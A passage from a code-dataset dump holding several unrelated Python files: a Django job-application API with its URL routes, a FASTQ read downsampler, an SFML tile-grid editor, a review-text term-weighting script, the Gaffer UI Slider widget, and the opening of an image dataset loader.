move(self, dx: float, dy: float) -> None:\n pass\n","sub_path":"ezdxf/math/construct2d.py","file_name":"construct2d.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"389730680","text":"from django.core.urlresolvers import reverse\nfrom django.db import transaction\nfrom django.db.models import Max\nfrom django.http import Http404\nfrom django.utils import timezone\nfrom rest_framework import viewsets, permissions, serializers\nfrom rest_framework.decorators import detail_route, list_route\nfrom rest_framework.exceptions import PermissionDenied\nfrom rest_framework.response import Response\n\nfrom mjp.models import Job, Role, ApplicationStatus, Message, Application, Location, ApplicationPitch, Interview\nfrom mjp.serializers import JobSeekerSerializer\nfrom mjp.serializers.applications import (\n ApplicationSerializerV1,\n ApplicationSerializerV2,\n ApplicationSerializerV3,\n ApplicationSerializerV4,\n ApplicationSerializerV5,\n ApplicationSerializer,\n ApplicationCreateSerializer,\n ApplicationConnectSerializer,\n ApplicationShortlistUpdateSerializer,\n ApplicationOfferSerializer,\n ApplicationAcceptSerializer,\n ApplicationDeclineSerializer,\n ApplicationRevokeSerializer,\n MessageCreateSerializer,\n MessageUpdateSerializer,\n ExternalApplicationSerializer,\n InterviewCompleteSerializer,\n)\nfrom mjp.serializers.applications import InterviewSerializer\nfrom mjp.serializers.job_seeker import ApplicationPitchSerializer\n\n\nclass ApplicationViewSet(viewsets.ModelViewSet):\n class ApplicationPermission(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.method in permissions.SAFE_METHODS:\n return True\n pk = request.data.get('job')\n if pk:\n is_recruiter = request.user.businesses.filter(locations__adverts__pk=pk).exists()\n if not is_recruiter and not request.user.is_job_seeker:\n return False\n return True\n\n def has_object_permission(self, request, view, application):\n is_recruiter = request.user.businesses.filter(locations__adverts__applications=application).exists()\n is_job_seeker = application.job_seeker.user == request.user\n if is_recruiter or is_job_seeker:\n if request.method in permissions.SAFE_METHODS:\n return True\n if request.method == 'DELETE' and application.status.name != 'DELETED':\n return True\n if request.method == 'PUT':\n if 'accept' in request.data or 'decline' in request.data:\n return is_job_seeker\n return is_recruiter\n\n permission_classes = (permissions.IsAuthenticated, ApplicationPermission)\n create_serializer_class = ApplicationCreateSerializer\n update_status_serializer_class = ApplicationConnectSerializer\n update_shortlist_serializer_class = ApplicationShortlistUpdateSerializer\n update_offer_serializer_class = ApplicationOfferSerializer\n update_accept_serializer_class = ApplicationAcceptSerializer\n update_decline_serializer_class = ApplicationDeclineSerializer\n update_revoke_serializer_class = ApplicationRevokeSerializer\n\n def perform_create(self, serializer):\n job = Job.objects.get(pk=self.request.data['job'])\n role = self.request.user.role\n if role.name == Role.RECRUITER:\n status = ApplicationStatus.objects.get(name='ESTABLISHED')\n else:\n status = ApplicationStatus.objects.get(name='CREATED')\n application = serializer.save(created_by=role, status=status)\n\n if role.name == Role.RECRUITER:\n content = \\\n '%(business)s has expressed an interest in your profile for the following job:\\n' \\\n 'Job title: %(title)s\\n' \\\n 'Sector: %(sector)s\\n' \\\n 'Contract: %(contract)s\\n' \\\n 'Hours: %(hours)s\\n' \\\n % {'business': job.location.business.name,\n 'title': job.title,\n 'sector': job.sector.name,\n 'contract': job.contract.name,\n 'hours': job.hours.name,\n }\n else:\n content = \\\n '%(name)s has expressed an interest in your job %(title)s, %(location)s, %(business)s' \\\n % {'name': application.job_seeker.get_full_name(),\n 'title': job.title,\n 'location': job.location.name,\n 'business': job.location.business.name,\n }\n\n Message.objects.create(\n system=True,\n application=application,\n from_role=role,\n content=content,\n )\n\n def perform_destroy(self, application):\n application.status = ApplicationStatus.objects.get(name='DELETED')\n role = self.request.user.role\n application.deleted_by = role\n application.save()\n\n if role.name == Role.RECRUITER:\n content = 'The recruiter has withdrawn their interest'\n else:\n content = 'The job seeker has withdrawn their interest in this job'\n\n Message.objects.create(\n system=True,\n application=application,\n from_role=role,\n content=content,\n )\n\n def get_serializer_class(self):\n if self.request.method == 'POST':\n return self.create_serializer_class\n if self.request.method == 'PUT':\n if self.request.data.get('shortlisted') is not None:\n return self.update_shortlist_serializer_class\n if self.request.data.get('connect') is not None:\n return self.update_status_serializer_class\n if self.request.data.get('offer') is not None:\n return self.update_offer_serializer_class\n if self.request.data.get('accept') is not None:\n return self.update_accept_serializer_class\n if self.request.data.get('decline') is not None:\n return self.update_decline_serializer_class\n if self.request.data.get('revoke') is not None:\n return self.update_revoke_serializer_class\n raise PermissionDenied()\n try:\n version = int(self.request.version)\n except (TypeError, ValueError):\n version = 1\n if version == 1:\n return ApplicationSerializerV1\n elif version == 2:\n return ApplicationSerializerV2\n elif version == 3:\n return ApplicationSerializerV3\n elif version == 4:\n return ApplicationSerializerV4\n elif version == 5:\n return ApplicationSerializerV5\n return ApplicationSerializer\n\n def get_queryset(self):\n if self.request.user.role is None:\n return Application.objects.none()\n query = Application.objects.annotate(Max('messages__created')).order_by('-messages__created__max', '-updated')\n query = query.select_related('job__location__business',\n 'job_seeker__user',\n 'job_seeker__profile__contract',\n 'job_seeker__profile__hours',\n )\n query = query.prefetch_related('job_seeker__pitches',\n 'messages',\n 'job__location__adverts',\n 'job__location__business__locations',\n 'job__images',\n 'job__videos',\n 'job__location__images',\n 'job__location__business_users',\n 'job__location__business__images',\n 'job__location__business__users',\n )\n if self.request.user.role.name == Role.RECRUITER:\n user_locations = Location.objects.none()\n for business_user in self.request.user.business_users.all():\n if business_user.locations.exists():\n user_locations |= business_user.locations.all()\n else:\n user_locations |= business_user.business.locations.all()\n query = query.filter(job__location__in=user_locations)\n job = self.request.query_params.get('job')\n if job:\n query = query.filter(job__pk=job)\n shortlisted = self.request.query_params.get('shortlisted')\n if shortlisted == '1':\n query = query.filter(shortlisted=True)\n else:\n query = query.order_by('-shortlisted')\n status = self.request.query_params.get('status')\n if status is not None:\n query = query.filter(status__pk=status)\n else:\n query = query.filter(job_seeker__user=self.request.user)\n return query\n\n @list_route(methods=['POST'])\n def external(self, request, *args, **kwargs):\n with transaction.atomic():\n if 'job_seeker' in request.data:\n job_seeker_serializer = JobSeekerSerializer(\n data=request.data['job_seeker'],\n context=self.get_serializer_context(),\n )\n if not job_seeker_serializer.is_valid():\n raise serializers.ValidationError({'job_seeker': job_seeker_serializer.errors})\n request.data['job_seeker'] = job_seeker_serializer.save().pk\n\n serializer = ExternalApplicationSerializer(data=request.data, context=self.get_serializer_context())\n serializer.is_valid(raise_exception=True)\n serializer.save(\n created_by=Role.objects.get(name=Role.RECRUITER),\n status=ApplicationStatus.objects.get(name=ApplicationStatus.ESTABLISHED),\n )\n return Response(serializer.data)\n\n\nclass MessageViewSet(viewsets.ModelViewSet):\n class MessagePermission(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.method in permissions.SAFE_METHODS:\n return True\n if request.method == 'POST':\n pk = request.data.get('application')\n if pk:\n application = Application.objects.get(pk=int(pk))\n is_recruiter = request.user.businesses.filter(locations__adverts__applications=application).exists()\n is_job_seeker = application.job_seeker.user == request.user\n return is_recruiter or (is_job_seeker and application.status.name != ApplicationStatus.CREATED)\n return True\n elif request.method == 'PUT': # set read\n return True\n return False\n\n def has_object_permission(self, request, view, message):\n if request.method == 'PUT': # set read\n is_recruiter = request.user.businesses.filter(locations__adverts__applications__messages=message).exists()\n if is_recruiter and message.from_role.name == Role.JOB_SEEKER:\n return True\n is_job_seeker = message.application.job_seeker.user == request.user\n if is_job_seeker and message.from_role.name == Role.RECRUITER:\n return True\n return False\n\n def get_serializer_class(self):\n if self.request.method == 'POST':\n return self.serializer_class\n if self.request.method == 'PUT':\n return self.update_serializer_class\n\n def get_queryset(self):\n if self.request.method == 'PUT':\n return Message.objects.all()\n return Message.objects.none()\n\n def perform_create(self, serializer):\n application = Application.objects.get(pk=int(self.request.data.get('application')))\n if self.request.user.businesses.filter(locations__adverts__applications=application).exists():\n role = Role.objects.get(name=Role.RECRUITER)\n else:\n role = Role.objects.get(name=Role.JOB_SEEKER)\n serializer.save(from_role=role)\n\n permission_classes = (permissions.IsAuthenticated, MessagePermission)\n update_serializer_class = MessageUpdateSerializer\n serializer_class = MessageCreateSerializer\n\n\nclass ApplicationPitchViewSet(viewsets.ModelViewSet):\n class ApplicationPitchPermission(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.user and request.user.is_authenticated():\n if request.method in permissions.SAFE_METHODS:\n return True\n return request.user.job_seeker is not None\n if request.user.is_anonymous() and request.method in ('GET', 'PATCH'):\n return True\n return False\n\n def has_object_permission(self, request, view, obj):\n if request.user and request.user.is_authenticated():\n return request.user.job_seeker == obj.job_seeker\n if request.user.is_anonymous() and request.method in ('GET', 'PATCH'):\n return request.GET.get('token') == obj.token\n return False\n\n def get_queryset(self):\n query = super(ApplicationPitchViewSet, self).get_queryset()\n if self.request.user.is_authenticated():\n return query.filter(job_seeker__user=self.request.user)\n if self.request.user.is_anonymous() and self.request.method in ('GET', 'PATCH'):\n return query.filter(token=self.request.GET.get('token'))\n\n def perform_create(self, serializer):\n job_seeker = serializer.validated_data['job_seeker']\n if self.request.user.job_seeker != job_seeker:\n raise serializers.ValidationError({'job_seeker': 'does not exist'})\n self._perform_save(serializer, job_seeker)\n\n def perform_update(self, serializer):\n job_seeker = serializer.instance.job_seeker\n if self.request.user.is_authenticated() and self.request.user.job_seeker != job_seeker:\n raise serializers.ValidationError({'job_seeker': 'does not exist'})\n if 'job_seeker' in serializer.validated_data and serializer.validated_data.get('job_seeker') != job_seeker:\n raise serializers.ValidationError({'job_seeker': 'does not exist'})\n self._perform_save(serializer, job_seeker)\n\n def _perform_save(self, serializer, job_seeker):\n if 'application' in serializer.validated_data:\n application = serializer.validated_data['application']\n elif serializer.instance:\n application = serializer.instance.application\n else:\n application = None\n\n if application is not None:\n if application.job_seeker != job_seeker:\n raise serializers.ValidationError({'application': 'does not exist'})\n if 'video' in serializer.validated_data and serializer.validated_data['video'] is None:\n raise serializers.ValidationError({'application': 'cannot set application if video not set'})\n if serializer.instance is not None and serializer.instance.video is None:\n raise serializers.ValidationError({'application': 'cannot set application if video not set'})\n pitch = serializer.save()\n if application is None or pitch.video is None:\n if pitch.video is None:\n # delete any other uploads\n ApplicationPitch.objects.filter(job_seeker=job_seeker, video__isnull=True).exclude(pk=pitch.pk).delete()\n if application is None:\n # delete any unlinked pitch except this one\n ApplicationPitch.objects.filter(job_seeker=job_seeker, application__isnull=True).exclude(pk=pitch.pk).delete()\n else:\n # delete any pitch except this one\n ApplicationPitch.objects.filter(application=application).exclude(pk=pitch.pk).delete()\n\n permission_classes = (ApplicationPitchPermission,)\n serializer_class = ApplicationPitchSerializer\n queryset = ApplicationPitch.objects.all()\n\n\nclass InterviewViewSet(viewsets.ModelViewSet):\n class InterviewPermission(permissions.BasePermission):\n def has_permission(self, request, view):\n if request.user and request.user.is_authenticated():\n if request.user.is_recruiter:\n return True\n if request.method in permissions.SAFE_METHODS + (\"DELETE\",):\n return True\n if request.method == 'POST' and 'accept' in request.path:\n return True\n return False\n\n def has_object_permission(self, request, view, obj):\n if request.user and request.user.is_authenticated():\n if request.user.is_recruiter:\n business = obj.application.job.location.business\n for business_user in business.business_users.filter(business=business):\n if business_user.locations.exists():\n return business_user.locations.filter(user=request.user).exists()\n return True\n elif obj.application.job_seeker == request.user.job_seeker:\n if request.method in permissions.SAFE_METHODS:\n return True\n if request.method == \"DELETE\" and obj.status != Interview.COMPLETE:\n return True\n if request.method == \"POST\" and reverse('interviews-accept', kwargs=view.kwargs) == request.path:\n return True\n return False\n\n def get_queryset(self):\n query = super(InterviewViewSet, self).get_queryset()\n if self.request.user.is_recruiter:\n user_locations = Location.objects.none()\n for business_user in self.request.user.business_users.all():\n if business_user.locations.exists():\n user_locations |= business_user.locations.all()\n else:\n user_locations |= business_user.business.locations.all()\n query = query.filter(application__job__location__in=user_locations)\n else:\n query = query.filter(application__job_seeker=self.request.user.job_seeker)\n return query\n\n def perform_create(self, serializer):\n validated_data = serializer.validated_data\n invitation = u\"You have been invited for an interview.\\n{}\".format(validated_data.pop('invitation'))\n interview = serializer.save()\n Message.objects.create(\n system=True,\n application=validated_data['application'],\n from_role=Role.objects.get(name=Role.RECRUITER),\n content=invitation,\n interview=interview,\n )\n\n def perform_update(self, serializer):\n interview = self.get_object()\n super(InterviewViewSet, self).perform_update(serializer)\n if 'at' in serializer.validated_data and serializer.validated_data['at'] != interview.at:\n Message.objects.create(\n system=True,\n application=interview.application,\n from_role=Role.objects.get(name=Role.RECRUITER),\n content='Interview rescheduled',\n interview=interview,\n )\n\n def perform_destroy(self, interview):\n role = self.request.user.role\n interview.status = Interview.CANCELLED\n interview.cancelled = timezone.now()\n interview.cancelled_by = role\n interview.save()\n\n if role.name == Role.RECRUITER:\n content = 'The recruiter has cancelled this interview'\n else:\n content = 'The job seeker has cancelled this interview'\n\n Message.objects.create(\n system=True,\n application=interview.application,\n interview=interview,\n from_role=role,\n content=content,\n )\n\n @detail_route(methods=['POST'])\n def accept(self, request, pk):\n if request.user.role.name != Role.JOB_SEEKER:\n raise Http404()\n\n interview = self.get_object()\n if interview.status != Interview.PENDING:\n raise serializers.ValidationError('This interview cannot be accepted')\n\n interview.status = Interview.ACCEPTED\n interview.save()\n\n Message.objects.create(\n system=True,\n application=interview.application,\n interview = interview,\n from_role=request.user.role,\n content=u'{} has accepted your interview request'.format(request.user.job_seeker.get_full_name()),\n )\n\n serializer = InterviewSerializer(instance=interview)\n return Response(serializer.data)\n\n @detail_route(methods=['POST'])\n def complete(self, request, pk):\n if request.user.role.name != Role.RECRUITER:\n raise Http404()\n\n interview = self.get_object()\n if interview.status == Interview.COMPLETE:\n raise serializers.ValidationError('Interview is already complete')\n\n serializer = InterviewCompleteSerializer(instance=interview, data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save(\n status=Interview.COMPLETE,\n )\n\n Message.objects.create(\n system=True,\n application=interview.application,\n interview=interview,\n from_role=request.user.role,\n content='Interview completed',\n )\n\n serializer = InterviewSerializer(instance=interview)\n return Response(serializer.data)\n\n queryset = Interview.objects.all()\n serializer_class = InterviewSerializer\n permission_classes = (InterviewPermission,)\n","sub_path":"web/src/mjp/views/applications.py","file_name":"applications.py","file_ext":"py","file_size_in_byte":21827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"462472372","text":"from __future__ import division\nimport random\nimport argparse\nimport sys\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"input\", help=\"input FASTQ filename\")\nparser.add_argument(\"-f\", \"--fraction\", type=float, help=\"fraction of reads to sample\")\nparser.add_argument(\"-n\", \"--number\", type=int, help=\"number of reads to sample\")\nparser.add_argument(\"-s\", \"--sample\", type=int, help=\"number of output files to write\", default=1)\nargs = parser.parse_args()\n\nrandom.seed(12)\n\nif args.fraction and args.number:\n sys.exit(\"give either a fraction or a number, not both\")\n\nif not args.fraction and not args.number:\n sys.exit(\"you must give either a fraction or a number\")\n\nprint(\"counting records....\")\nwith open(args.input) as inRead:\n num_lines = sum([1 for line in inRead])\nif int(num_lines % 4) != 0:\n print(\"File Corrupted: Number of lines in FASTQ file not divisible by 4.\")\n exit()\ntotal_records = int(num_lines / 4)\n\nif args.fraction:\n args.number = int(total_records * args.fraction)\n\nnumber_to_sample = args.number\n\nprint(\"sampling \" + str(number_to_sample) + \" out of \" + str(total_records) + \" records\")\n\ntry:\n records_to_keep = set(random.sample(range(total_records + 1), number_to_sample))\n record_number = 0\n with open(args.input) as inFile:\n with open(\"subset_\"+args.input, \"w\") as output:\n for tag in inFile:\n bases = inFile.next()\n sign = inFile.next()\n quality = inFile.next()\n if record_number in records_to_keep:\n output.write(tag)\n output.write(bases)\n output.write(sign)\n output.write(quality)\n record_number += 1\nexcept ValueError as e:\n if e.message != \"sample larger than population\":\n raise\n else:\n print(\"Desired number of reads is greater than number of reads in original file.\")\n print(\"No downsampling is necessary.\")","sub_path":"down.py","file_name":"down.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"168124348","text":"from filehandler import File as f\nimport sfml as sf\nimport pickle\n\nclass Grid():\n def __init__(self, x_res, y_res, tile_size, filename, new_file):\n # Grid parameters\n self.tile_size = tile_size\n self.filename = filename\n self.mouse_in_view = False\n\n # Grid matrices\n self.grid = []\n self.square_grid = [[0 for x in range(x_res/tile_size)] for x in range(y_res/tile_size)]\n self.square_matrix = [[0 for x in range(x_res/tile_size)] for x in range(y_res/tile_size)]\n\n # Highlighted tile initialization\n self.highlighted = sf.RectangleShape()\n self.highlighted.size = sf.Vector2(tile_size, tile_size)\n self.highlighted.fill_color = sf.Color(55, 255, 55, 125)\n\n # Setup columns\n for j in range(0, x_res/tile_size):\n # Setup vertical lines\n line = sf.RectangleShape()\n line.position = sf.Vector2(j * tile_size, 0)\n line.size = sf.Vector2(1, y_res)\n line.fill_color = sf.Color.WHITE\n self.grid.append(line)\n\n # Setup rows\n for j in range(0, y_res/tile_size):\n # Setup horizontal lines\n line = sf.RectangleShape()\n line.position = sf.Vector2(0,j * tile_size)\n line.size = sf.Vector2(x_res,1)\n line.fill_color = sf.Color.WHITE\n self.grid.append(line)\n\n if new_file:\n for j in range(0, int(y_res/tile_size)):\n for k in range(0, int(x_res/tile_size)):\n square = sf.RectangleShape()\n square.position = sf.Vector2(k * tile_size,j * tile_size)\n square.size = sf.Vector2(tile_size, tile_size)\n square.fill_color = sf.Color(0,0,0,0)\n self.square_grid[j][k] = square\n else:\n self.square_matrix = pickle.load(open(self.filename,'rb'))\n for j in range(0, int(y_res/tile_size)):\n for k in range(0, int(x_res/tile_size)):\n square = sf.RectangleShape()\n square.position = sf.Vector2(k * tile_size,j * tile_size)\n square.size = sf.Vector2(tile_size, tile_size)\n if self.square_matrix[j][k] == 1:\n square.fill_color = sf.Color.RED\n else:\n square.fill_color = sf.Color(0,0,0,0)\n self.square_grid[j][k] = square\n\n\n def TileClicked(self, position):\n row = int(position.x/self.tile_size)\n column = int(position.y/self.tile_size)\n if self.square_matrix[column][row] == 1:\n self.square_grid[column][row].fill_color = sf.Color(0,0,0,0)\n self.square_matrix[column][row] = 0\n else:\n self.square_grid[column][row].fill_color = sf.Color.RED\n self.square_matrix[column][row] = 1\n\n def TileHighlighted(self, position):\n self.highlighted.position = position\n\n def draw(self, window):\n for row in self.square_grid:\n for cell in row:\n window.draw(cell)\n if self.mouse_in_view:\n window.draw(self.highlighted)\n for line in self.grid:\n window.draw(line)\n\n\nclass HighlightedTile():\n def __init__(self, x_pos, y_pos, size):\n self.x_pos = x_pos\n self.y_pos = y_pos\n self.size = size\n self.rectangle = sf.RectangleShape()\n self.rectangle.size = (size, size)\n self.rectangle.fill_color = sf.Color(55, 255, 55, 125)\n self.rectangle.position = (x_pos, y_pos)\n\n def change_position(self, pos):\n self.rectangle.position = pos\n\n def draw(self, window):\n window.draw(self.rectangle)\n","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537015110","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'voting'\nurlpatterns = [\n url(r'^$', views.wyniki_main, name='index'),\n url(r'^login_modal$', views.try_login, name='login'),\n url(r'^logout$', views.try_logout, name='logout'),\n url(r'^process_login$', views.process_login, name='process_login'),\n url(r'^show/$', views.show, name='show'),\n url(r'^modify_gmina/$', views.modify_gmina, name='modify_gmina'),\n url(r'^modify/$', views.modify, name='modify'),\n]\n","sub_path":"voting/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"47543854","text":"import json\r\nimport re\r\nimport nltk\r\nimport math\r\ndef main():\r\n fin = open(\"reviews_Digital_Music_2.csv\", \"r\")\r\n line = fin.readline()\r\n fout=open(\"reviews_Digital_Music_Text.csv\",\"a\")\r\n #, reviewerName\r\n #fout.write(\"reviewerID, reviewText\\n\")\r\n L=[]\r\n tok=[]\r\n v=[]\r\n i=0\r\n line=fin.readline()\r\n while line:\r\n #print(line)\r\n s=line.split(\",\")\r\n #+\"\".join(str(s[\"reviewerName\"]))+\",\"\r\n #print(s[\"reviewerID\"])\r\n str_=s[5]\r\n #print(str_)\r\n #pause\r\n str_=str_.replace(\""\",\"\")\r\n str_=re.sub(\"[^a-zA-Z\\s]+\",\"\",str_)#1. unify string\r\n str_=str_.replace(\" \",\" \")#2. remove unnecessary spacing\r\n str_=str_.lower()#3. consistent casing\r\n tokens=str_.split(\" \")#4. word tokenization\r\n freq=nltk.FreqDist(tokens)\r\n temp1=[]\r\n temp2=[]\r\n for key,val in freq.items():\r\n temp1.append(key)\r\n temp2.append(val)\r\n if key not in L:\r\n L.append(key)\r\n tok.append(temp1)\r\n v.append(temp2)\r\n #print (str(key) + ':' + str(val))\r\n #pause()\r\n #stemp=str_+\"\\n\"#\"\".join(str(s[\"reviewerID\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"asin\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"helpful\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"reviewText\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"overall\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"summary\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"unixReviewTime\"]).replace(\",\",\"\"))+\",\"+\"\".join(str(s[\"reviewTime\"]).replace(\",\",\"\"))+\"\\n\"\r\n #fout.write(stemp)\r\n i=i+1\r\n line = fin.readline()\r\n print(i)\r\n #pause\r\n maxi=i\r\n strout=\"\"\r\n for x in L:\r\n strout=strout+x+\",\"\r\n strout=strout[0:-1]\r\n fout.write(strout+\"\\n\")\r\n for i in range(0,maxi):\r\n strout=\"\"\r\n for x in L:\r\n score=0\r\n if x in tok[i]:\r\n score=v[i][tok[i].index(x)]\r\n score=math.log(1+score,2)\r\n strout=strout+str(score)+\",\"\r\n strout=strout[0:-1]\r\n fout.write(strout+\"\\n\")\r\n print(i)\r\n\r\n fin.close()\r\n fout.close()\r\n return\r\n\r\nif __name__==\"__main__\":\r\n main()","sub_path":"token weight calculation.py","file_name":"token weight calculation.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"6808286","text":"##########################################################################\n# \n# Copyright (c) 2011-2012, John Haddon. All rights reserved.\n# Copyright (c) 2011-2012, Image Engine Design Inc. All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n# \n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n# \n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n# \n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n# \n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n# \n##########################################################################\n\nimport math\n\nimport Gaffer\nimport GafferUI\n\nQtCore = GafferUI._qtImport( \"QtCore\" )\nQtGui = GafferUI._qtImport( \"QtGui\" )\n\n## The Slider class allows a user to specify a position on a scale of 0.0 at one end\n# of the Widget and 1.0 at the other. Positions off the ends of the widget are mapped\n# to negative numbers and numbers greater than 1.0 respectively. Derived classes may\n# provide alternative interpretations for the scale and clamp values as appropriate. In\n# particular see the NumericSlider which allows the specification of the values at either\n# end of the scale along with hard minimum and maximum values.\nclass Slider( GafferUI.Widget ) :\n\n\tdef __init__( self, position = 0.5, **kw ) :\n\t\n\t\tGafferUI.Widget.__init__( self, _Widget(), **kw )\n\t\t\t\t\n\t\tself.__position = position\n\n\t\tself.__buttonPressConnection = self.buttonPressSignal().connect( Gaffer.WeakMethod( self.__buttonPress ) )\n\t\tself.__mouseMoveConnection = self.mouseMoveSignal().connect( Gaffer.WeakMethod( self.__mouseMove ) )\n\t\tself.__enterConnection = self.enterSignal().connect( Gaffer.WeakMethod( self.__enter ) )\n\t\tself.__leaveConnection = self.leaveSignal().connect( Gaffer.WeakMethod( self.__leave ) )\n\t\t\n\tdef setPosition( self, p ) :\n\t\t\t\t\n\t\tif p!=self.__position :\n\t\t\n\t\t\tself.__position = p\n\t\t\tself._qtWidget().update()\n\t\t\t\n\t\t\ttry :\n\t\t\t\tsignal = self.__positionChangedSignal\n\t\t\texcept :\n\t\t\t\treturn\n\t\t\t\n\t\t\tsignal( self )\n\t\t\t\n\tdef getPosition( self ) :\n\t\n\t\treturn self.__position\t\n\t\n\tdef positionChangedSignal( self ) :\n\t\n\t\ttry :\n\t\t\treturn self.__positionChangedSignal\n\t\texcept :\n\t\t\tself.__positionChangedSignal = GafferUI.WidgetSignal()\n\t\t\t\n\t\treturn self.__positionChangedSignal\n\t\n\t## \\todo Colours should come from some unified style somewhere\n\tdef _drawBackground( self, painter ) :\n\t\n\t\tsize = self.size()\n\n\t\tpen = QtGui.QPen( QtGui.QColor( 0, 0, 0 ) )\n\t\tpen.setWidth( 1 )\n\t\tpainter.setPen( pen )\n\t\t\n\t\tpainter.drawLine( 0, size.y / 2, size.x, size.y / 2 )\n\t\t\n\tdef _drawPosition( self, painter ) :\n\t\n\t\tsize = self.size()\n\n\t\tpen = QtGui.QPen( QtGui.QColor( 0, 0, 0 ) )\n\t\tpen.setWidth( 1 )\n\t\tpainter.setPen( pen )\n\t\t\n\t\t## \\todo These colours need to come from the style, once we've\n\t\t# unified the Gadget and Widget styling.\n\t\tif self.getHighlighted() :\n\t\t\tbrush = QtGui.QBrush( QtGui.QColor( 119, 156, 255 ) )\n\t\telse :\n\t\t\tbrush = QtGui.QBrush( QtGui.QColor( 128, 128, 128 ) )\n\t\t\t\n\t\tpainter.setBrush( brush )\n\t\t\n\t\tif self.__position < 0 :\n\t\t\tpainter.drawPolygon(\n\t\t\t\tQtCore.QPoint( 8, 4 ),\n\t\t\t\tQtCore.QPoint( 8, size.y - 4 ),\n\t\t\t\tQtCore.QPoint( 2, size.y / 2 ),\n\t\t\t)\n\t\telif self.__position > 1 :\n\t\t\tpainter.drawPolygon(\n\t\t\t\tQtCore.QPoint( size.x - 8, 4 ),\n\t\t\t\tQtCore.QPoint( size.x - 8, size.y - 4 ),\n\t\t\t\tQtCore.QPoint( size.x - 2, size.y / 2 ),\n\t\t\t)\n\t\telse :\n\t\t\tpainter.drawEllipse( QtCore.QPoint( self.__position * size.x, size.y / 2 ), size.y / 4, size.y / 4 )\n\t\t\t\t\t\n\tdef __buttonPress( self, widget, event ) :\n\t\n\t\tif event.buttons & GafferUI.ButtonEvent.Buttons.Left :\n\t\t\tself.setPosition( float( event.line.p0.x ) / self.size().x )\n\t\t\treturn True\n\t\t\t\n\t\treturn False\n\n\tdef __mouseMove( self, widget, event ) :\n\t\n\t\tif event.buttons & GafferUI.ButtonEvent.Buttons.Left :\n\t\t\tself.setPosition( float( event.line.p0.x ) / self.size().x )\n\n\tdef __enter( self, widget ) :\n\t\n\t\tself.setHighlighted( True )\n\t\t\n\tdef __leave( self, widget ) :\n\t\n\t\tself.setHighlighted( False )\n\t\t\nclass _Widget( QtGui.QWidget ) :\n\n\tdef __init__( self, parent=None ) :\n\t\n\t\tQtGui.QWidget.__init__( self, parent )\n\t\t\n\t\tself.setSizePolicy( QtGui.QSizePolicy( QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum ) )\n\n\tdef sizeHint( self ) :\n\t\n\t\treturn QtCore.QSize( 150, 18 )\n\t\t\n\tdef paintEvent( self, event ) :\n\t\n\t\towner = GafferUI.Widget._owner( self )\n\t\t\n\t\tpainter = QtGui.QPainter( self )\n\t\tpainter.setRenderHint( QtGui.QPainter.Antialiasing )\n\t\t\n\t\towner._drawBackground( painter )\n\t\towner._drawPosition( painter )\n\t","sub_path":"python/GafferUI/Slider.py","file_name":"Slider.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489020012","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport glob\nimport cv2\nimport numpy as np\n\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom torchvision.datasets.imagenet import ImageNet as _ImageNet\nfrom sklearn.model_selection import train_test_split\n\n\ndef load_image_cv2(path: str):\n \"\"\"Load image with OpenCV.\"\"\"\n img = cv2.imread(path, cv2.IMREAD_UNCHANGED)\n if img.ndim == 3:\n return cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n elif img.ndim == 2:\n return 